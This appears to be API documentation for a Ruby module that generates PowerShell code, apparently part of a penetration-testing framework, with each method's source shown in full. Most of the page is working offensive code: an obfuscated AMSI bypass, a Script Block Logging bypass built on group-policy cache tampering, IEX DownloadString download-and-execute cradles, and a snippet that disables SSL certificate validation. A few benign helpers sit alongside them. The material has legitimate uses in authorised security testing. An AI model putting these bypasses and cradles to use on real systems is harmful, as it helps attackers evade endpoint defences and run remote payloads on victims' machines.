Module: Rex::Powershell::PshMethods

Defined in:
lib/rex/powershell/psh_methods.rb

Overview

Convenience methods for generating Powershell code in Ruby

Class Method Summary collapse

Class Method Details

.bypass_amsiString

Return mattifestation’s AMSI bypass

Returns:

  • (String)

    PowerShell code to bypass AMSI



92
93
94
95
96
97
98
99
100
# File 'lib/rex/powershell/psh_methods.rb', line 92

def self.bypass_amsi()
  script = Script.new(<<-PSH
    $Ref=[Ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.AmsiUtils')});
    $Ref.GetField(#{Obfu.scate_string_literal('amsiInitFailed')},'NonPublic,Static').SetValue($null,$true);
    PSH
  )
  script.sub_vars
  script
end

.bypass_powershell_protectionsString

Return all bypasses checking if PowerShell version > 3

Returns:

  • (String)

    PowerShell code to disable PowerShell Built-In Protections



135
136
137
138
139
140
141
142
# File 'lib/rex/powershell/psh_methods.rb', line 135

def self.bypass_powershell_protections()
  uglify_ps(%Q{
    If($PSVersionTable.PSVersion.Major -ge 3){
      #{self.bypass_script_log}
      #{self.bypass_amsi}
    }
  })
end

.bypass_script_logString

Return cobbr’s Script Block Logging bypass

Returns:

  • (String)

    PowerShell code to bypass Script Block Logging



106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
# File 'lib/rex/powershell/psh_methods.rb', line 106

def self.bypass_script_log()
  script = Script.new(<<-PSH
    $GPF=[ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.Utils')}).GetField(#{Obfu.scate_string_literal('cachedGroupPolicySettings')},'NonPublic,Static');
    If ($GPF) {
        $SBL=#{Obfu.scate_string_literal('ScriptBlockLogging')};
        $EnableSBL=#{Obfu.scate_string_literal('EnableScriptBlockLogging')};
        $EnableSBIL=#{Obfu.scate_string_literal('EnableScriptBlockInvocationLogging')};
        $GPC=$GPF.GetValue($null);
        If($GPC[$SBL]){
            $GPC[$SBL][$EnableSBL]=0;
            $GPC[$SBL][$EnableSBIL]=0;
        }
        $val=[Collections.Generic.Dictionary[string,System.Object]]::new();
        $val.Add($EnableSBL,0);
        $val.Add($EnableSBIL,0);
        $GPC['HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\'+$SBL]=$val;
    } Else {
        [ScriptBlock].GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]));
    }
    PSH
  )
  script.sub_vars
  script
end

.download(src, target) ⇒ String

Download file via .NET WebClient

Parameters:

  • src (String)

    URL to the file

  • target (String)

    Location to save the file

Returns:

  • (String)

    Powershell code to download a file



17
18
19
20
# File 'lib/rex/powershell/psh_methods.rb', line 17

def self.download(src, target)
  target ||= '$pwd\\' << src.split('/').last
  %Q^(new-object System.Net.WebClient).DownloadFile('#{src}', '#{target}')^
end

.download_and_exec_string(urls, iex = true) ⇒ String

Download and execute string via HTTP

Parameters:

  • urls (String | [String])

    string(s) to download

  • iex (Boolean) (defaults to: true)

    utilize invoke-expression to execute code

Returns:

  • (String)

    PowerShell code to download and exec the url



151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
# File 'lib/rex/powershell/psh_methods.rb', line 151

def self.download_and_exec_string(urls, iex = true)
  unless urls.is_a?(Array)
    urls = [urls]
  end

  res = ''
  for url in urls
    if iex
      res << %Q^IEX ((new-object Net.WebClient).DownloadString('#{url}'));^
    else
      res << %Q^&([scriptblock]::create((new-object Net.WebClient).DownloadString('#{url}')));^
    end
  end
  res
end

.download_run(src, target) ⇒ String

Download file via .NET WebClient and execute it afterwards

Parameters:

  • src (String)

    URL to the file

  • target (String)

    Location to save the file

Returns:

  • (String)

    Powershell code to download a file



29
30
31
32
# File 'lib/rex/powershell/psh_methods.rb', line 29

def self.download_run(src, target)
  target ||= '$pwd\\' << src.split('/').last
  %Q^$z="#{target}"; (new-object System.Net.WebClient).DownloadFile('#{src}', $z); invoke-item $z^
end

.force_tls12Object

Force use of TLS1.2

@ return [String] Powershell code to force use of TLS1.2



171
172
173
# File 'lib/rex/powershell/psh_methods.rb', line 171

def self.force_tls12()
  %Q^[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;^
end

.get_last_login(user) ⇒ String

Return last time of login

Parameters:

  • user (String)

    Username

Returns:

  • (String)

    Powershell code to return the last time of a user login



75
76
77
# File 'lib/rex/powershell/psh_methods.rb', line 75

def self.(user)
  %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
end

.ignore_ssl_certificateString

Disable SSL Certificate verification

Returns:

  • (String)

    Powershell code to disable SSL verification checks.



84
85
86
# File 'lib/rex/powershell/psh_methods.rb', line 84

def self.ignore_ssl_certificate
  '[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'
end

.proxy_awareString

Use the default system web proxy and credentials

Returns:

  • (String)

    Powershell code to use the default system web proxy and credentials



178
179
180
181
182
183
184
185
186
# File 'lib/rex/powershell/psh_methods.rb', line 178

def self.proxy_aware
  var = Rex::Text.rand_text_alpha(1)
  cmd = "$#{var}=new-object net.webclient;"
  cmd << "if([System.Net.WebProxy]::GetDefaultProxy().address -ne $null){"
  cmd << "$#{var}.proxy=[Net.WebRequest]::GetSystemWebProxy();"
  cmd << "$#{var}.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;"
  cmd << "};"
  cmd
end

.proxy_aware_download_and_exec_string(urls, iex = true) ⇒ String

Use the default system web proxy and credentials to download a URL as a string and execute the contents as PowerShell

Parameters:

  • urls (String | [String])

    string(s) to download

  • iex (Boolean) (defaults to: true)

    utilize invoke-expression to execute code

Returns:

  • (String)

    PowerShell code to download a URL



196
197
198
# File 'lib/rex/powershell/psh_methods.rb', line 196

def self.proxy_aware_download_and_exec_string(urls, iex = true)
  "#{self.proxy_aware}#{download_and_exec_string(urls, iex)}"
end

.secure_string(str) ⇒ String

Create secure string from plaintext

Parameters:

  • str (String)

    String to create as a SecureString

Returns:

  • (String)

    Powershell code to create a SecureString



53
54
55
# File 'lib/rex/powershell/psh_methods.rb', line 53

def self.secure_string(str)
  %Q(ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$)
end

.uglify_ps(script) ⇒ Object



200
201
202
# File 'lib/rex/powershell/psh_methods.rb', line 200

def self.uglify_ps(script)
  return script.gsub(/\ +/, " ").gsub(/\n+/, '')
end

.uninstall(app, fuzzy = true) ⇒ String

Uninstall app, or anything named like app

Parameters:

  • app (String)

    Name of application

  • fuzzy (Boolean) (defaults to: true)

    Whether to apply a fuzzy match (-like) to the application name

Returns:

  • (String)

    Powershell code to uninstall an application



42
43
44
45
# File 'lib/rex/powershell/psh_methods.rb', line 42

def self.uninstall(app, fuzzy = true)
  match = fuzzy ? '-like' : '-eq'
  %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
end

.who_locked_file(filename) ⇒ String

Find PID of file lock owner

Parameters:

  • filename (String)

    Filename

Returns:

  • (String)

    Powershell code to identify the PID of a file lock owner



64
65
66
# File 'lib/rex/powershell/psh_methods.rb', line 64

def self.who_locked_file(filename)
  %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
end